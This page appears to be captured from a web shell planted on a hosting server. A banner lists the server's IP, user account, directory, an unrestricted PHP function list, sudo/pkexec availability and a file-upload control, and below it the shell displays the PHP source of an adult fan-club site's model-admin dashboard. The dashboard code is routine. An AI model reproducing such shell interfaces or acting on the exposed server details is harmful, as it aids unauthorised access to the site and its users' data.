| Server IP : 208.122.213.31 / Your IP : 216.73.216.185 Web Server : Apache System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64 User : WHMCS_MIA_382 ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/model_admin/ |
Upload File : |
<?php
if (isset($_POST['model_id']) && is_numeric($_POST['model_id']) && $_POST['model_id'] > 0) {
$_SESSION['model_id'] = $_POST['model_id'];
}
if (isset($_POST['clearmodel'])) {
unset($_SESSION['model_id']);
}
if (isset($_GET['action']) && $_GET['action'] == 'addmodel') {
if (isset($_SESSION['model_id'])) {
unset($_SESSION['model_id']);
}
if (isset($model_info)) {
unset($model_info);
}
} else {
if (isset($_SESSION['model_id'])) {
$model_info_sql = $dbh->prepare("SELECT * FROM `cms_models` WHERE model_id = ?");
$model_info_sql->execute(array($_SESSION['model_id']));
if ($model_info_sql->rowCount() > 0) {
$model_info = $model_info_sql->fetch(PDO::FETCH_OBJ);
}
}
}
?>
<!doctype html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>xFanClubs Model Dashboard</title>
<link rel="stylesheet" href="../css/foundation.css" />
<link rel="stylesheet" href="../css/style.css" />
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/jquery-ui.min.js"></script>
<script type="text/javascript" src="../js/jquery.form.min.js"></script>
<link rel="stylesheet" href="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/themes/smoothness/jquery-ui.css" />
<script src="../js/vendor/modernizr.js"></script>
<script type="text/javascript">
$(document).ready(function() {
var options = {
target: '#output', // target element(s) to be updated with server response
beforeSubmit: beforeSubmit, // pre-submit callback
success: afterSuccess, // post-submit callback
uploadProgress: OnProgress, //upload progress callback
resetForm: true // reset the form after successful submit
};
$('#MyUploadForm').submit(function() {
$(this).ajaxSubmit(options);
// always return false to prevent standard browser submit and page navigation
return false;
});
//function after succesful file upload (when server response)
function afterSuccess()
{
$('#submit-btn').show(); //hide submit button
$('#loading-img').hide(); //hide submit button
$('#progressbox').delay( 1000 ).fadeOut(); //hide progress bar
}
//function to check file size before uploading.
function beforeSubmit(){
//check whether browser fully supports all File API
if (window.File && window.FileReader && window.FileList && window.Blob)
{
if( !$('#FileInput').val()) //check empty input filed
{
$("#output").html("Are you kidding me?");
return false
}
var fsize = $('#FileInput')[0].files[0].size; //get file size
var ftype = $('#FileInput')[0].files[0].type; // get file type
//allow file types
switch(ftype)
{
case 'image/png':
case 'image/gif':
case 'image/jpeg':
case 'image/pjpeg':
case 'text/plain':
case 'text/html':
case 'application/x-zip-compressed':
case 'application/pdf':
case 'application/msword':
case 'application/vnd.ms-excel':
case 'video/mp4':
break;
default:
$("#output").html("<b>"+ftype+"</b> Unsupported file type!");
return false
}
//Allowed file size is less than 5 MB (1048576)
if(fsize>1005242880)
{
$("#output").html("<b>"+bytesToSize(fsize) +"</b>");
return false
}
$('#submit-btn').hide(); //hide submit button
$('#loading-img').show(); //hide submit button
$("#output").html("");
}
else
{
//Output error to older unsupported browsers that doesn't support HTML5 File API
$("#output").html("Please upgrade your browser, because your current browser lacks some new features we need!");
return false;
}
}
//progress bar function
function OnProgress(event, position, total, percentComplete)
{
//Progress bar
$('#progressbox').show();
$('#progressbar').width(percentComplete + '%') //update progressbar percent complete
$('#statustxt').html(percentComplete + '%'); //update status text
if(percentComplete>50)
{
$('#statustxt').css('color','#000'); //change status text to white after 50%
}
}
//function to format bites bit.ly/19yoIPO
function bytesToSize(bytes) {
var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
if (bytes == 0) return '0 Bytes';
var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
}
});
</script>
<link href='http://fonts.googleapis.com/css?family=Lato:300,400,900' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Pacifico' rel='stylesheet' type='text/css'>
</head>
<body>
<div class="row">
<div class="large-8 columns logo">
<h1>xFanClubs</h1>
<p>Find & interact with your favorite models</p>
</div>
<div class="large-4 columns">
<a href="?logout=1" class="radius button tiny right" id="model_login">Model Logout</a>
</div>
</div>
<?php
if (isset($is_admin) && $is_admin && $_SERVER["REQUEST_URI"] == '/dev/model_admin/model-dashboard.php') {
?>
<div class="row">
<div class="large-8 columns">
<?php
if (isset($is_admin) && $is_admin) {
?>
<form action="model-dashboard.php" method="POST">
<select name="model_id" style="width: 240px; margin-top: 30px;">
<?php
$modelList_sql = $dbh->prepare("SELECT * FROM `cms_models` ORDER BY name ASC");
$modelList_sql->execute();
if ($modelList_sql->rowCount() > 0) {
while($modelList = $modelList_sql->fetch(PDO::FETCH_OBJ)) {
echo '<option value="' . $modelList->model_id . '"' . (isset($_SESSION['model_id']) && $_SESSION['model_id'] == $modelList->model_id ? " selected" : "") . '>' . $modelList->name . '</option>';
}
}
?>
</select>
<input type="submit">
<?php
if (isset($_SESSION['model_id'])) {
echo ' <input type="submit" name="clearmodel" value="Clear">';
}
?>
</form>
<?php
}
?>
</div>
<div class="large-4 columns" style="margin-top: 20px;">
<div class="row">
<div class="nav">
<ul>
<li>admin dashboard</li>
</ul>
</div>
</div>
</div>
<hr/>
</div>
<div class="row">
<div class="large-12 columns">
<div class="row">
<div class="large-4 columns dash-buttons">
<a href="model-profile.php?action=addmodel">
<h4>Add Model</h4>
</a>
</div>
<div class="large-4 columns dash-buttons">
<a href="users.php">
<h4>Add User</h4>
</a>
</div>
<div class="large-4 columns dash-buttons">
<a href="accounting.php">
<h4>Accounting</h4>
</a>
</div>
</div>
<div class="row">
<div class="large-4 columns dash-buttons">
<a href="add_content.php">
<h4>Add Content</h4>
</a>
</div>
<div class="large-4 columns dash-buttons">
<a href="content.php">
<h4>Browse Content</h4>
</a>
</div>
<div class="large-4 columns dash-buttons">
<a href="model-dashboard.php">
<h4>Schedule Chat</h4>
</a>
</div>
</div>
<div class="row">
<div class="large-4 columns dash-buttons">
<a href="blogs.php">
<h4>Blogs</h4>
</a>
</div>
<div class="large-4 columns dash-buttons">
<a href="model-dashboard.php">
<h4>Comments</h4>
</a>
</div>
<div class="large-4 columns dash-buttons">
<a href="model-dashboard.php">
<h4>Tags</h4>
</a>
</div>
</div>
<div class="row">
<div class="large-4 columns dash-buttons">
<a href="model-dashboard.php">
<h4>Add Store item</h4>
</a>
</div>
<div class="large-4 columns dash-buttons">
<a href="model-dashboard.php">
<h4>Store Categories</h4>
</a>
</div>
<div class="large-4 columns dash-buttons">
<a href="model-dashboard.php">
<h4>Messages</h4>
</a>
</div>
</div>
</div>
</div>
</div>
<?php
}
?>
<div class="row">
<div class="large-2 columns">
<?php
if (isset($_SESSION['model_id'])) {
if (is_file('../content/models/' . $_SESSION['model_id'] . '_avatar.jpg')) {
echo '<img src="../content/models/' . $_SESSION['model_id'] . '_avatar.jpg">';
} else {
echo '<span style="width: 110px; height: 110px; border: 1px solid #000; text-align: center; padding-top: 45px; display: block;">No Avatar</span>';
}
}
?>
</div>
<div class="large-10 columns" style="margin-top: 30px; padding-left: 0px;">
<div class="row">
<div class="large-6 columns" style="padding-top: 40px; font-size: 22px;">
<?php
if (isset($model_info->name)) {
echo '<span style="margin-left: 10px;">Hi ' . $model_info->name . '</span>';
}
?>
</div>
<div class="large-4 columns" style="margin-top: 20px;">
<div class="nav">
<ul style="margin-bottom: 0px;">
<li><a href="model-dashboard.php">model dashboard</a></li>
</ul>
</div>
</div>
</div>
<hr/>
</div>
</div>